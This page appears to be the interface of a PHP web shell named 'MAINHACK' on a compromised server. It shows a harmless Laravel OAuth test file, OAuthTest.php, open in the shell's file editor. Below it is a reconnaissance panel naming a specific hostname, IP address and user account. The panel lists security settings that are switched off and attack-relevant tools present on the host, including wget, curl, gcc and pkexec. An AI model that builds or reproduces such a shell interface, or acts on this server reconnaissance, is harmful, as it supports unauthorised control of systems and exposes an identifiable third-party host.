[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: OAuthTest.php
<?php namespace Tests\Feature; use App\Models\User; use Illuminate\Support\Str; use Illuminate\Testing\TestResponse; use Laravel\Socialite\Facades\Socialite; use Laravel\Socialite\Two\User as SocialiteUser; use Mockery as m; use PHPUnit\Framework\Assert as PHPUnit; use Tests\TestCase; class OAuthTest extends TestCase { public function setUp(): void { parent::setUp(); TestResponse::macro('assertText', function ($text) { PHPUnit::assertTrue(Str::contains($this->getContent(), $text), "Expected text [{$text}] not found."); return $this; }); TestResponse::macro('assertTextMissing', function ($text) { PHPUnit::assertFalse(Str::contains($this->getContent(), $text), "Expected missing text [{$text}] found."); return $this; }); } /** @test */ public function redirect_to_provider() { $this->mockSocialite('github'); $this->postJson('/api/oauth/github') ->assertSuccessful() ->assertJson(['url' => 'https://url-to-provider']); } /** @test */ public function create_user_and_return_token() { $this->mockSocialite('github', [ 'id' => '123', 'name' => 'Test User', 'email' => 'test@example.com', 'token' => 'access-token', 'refreshToken' => 'refresh-token', ]); $this->withoutExceptionHandling(); $this->get('/api/oauth/github/callback') ->assertText('token') ->assertSuccessful(); $this->assertDatabaseHas('users', [ 'name' => 'Test User', 'email' => 'test@example.com', ]); $this->assertDatabaseHas('oauth_providers', [ 'user_id' => User::first()->id, 'provider' => 'github', 'provider_user_id' => '123', 'access_token' => 'access-token', 'refresh_token' => 'refresh-token', ]); } /** @test */ public function update_user_and_return_token() { $user = User::factory()->create(['email' => 'test@example.com']); $user->oauthProviders()->create([ 'provider' => 'github', 'provider_user_id' => '123', ]); $this->mockSocialite('github', [ 'id' => '123', 'email' => 'test@example.com', 'token' => 'updated-access-token', 'refreshToken' => 'updated-refresh-token', ]); $this->get('/api/oauth/github/callback') ->assertText('token') ->assertSuccessful(); $this->assertDatabaseHas('oauth_providers', [ 'user_id' => $user->id, 'access_token' => 'updated-access-token', 'refresh_token' => 'updated-refresh-token', ]); } /** @test */ public function can_not_create_user_if_email_is_taken() { User::factory()->create(['email' => 'test@example.com']); $this->mockSocialite('github', ['email' => 'test@example.com']); $this->get('/api/oauth/github/callback') ->assertText('Email already taken.') ->assertTextMissing('token') ->assertStatus(400); } protected function mockSocialite($provider, $user = null) { $mock = Socialite::shouldReceive('stateless') ->andReturn(m::self()) ->shouldReceive('driver') ->with($provider) ->andReturn(m::self()); if ($user) { $mock->shouldReceive('user') ->andReturn((new SocialiteUser)->setRaw($user)->map($user)); } else { $mock->shouldReceive('redirect') ->andReturn(redirect('https://url-to-provider')); } } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 60.07 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002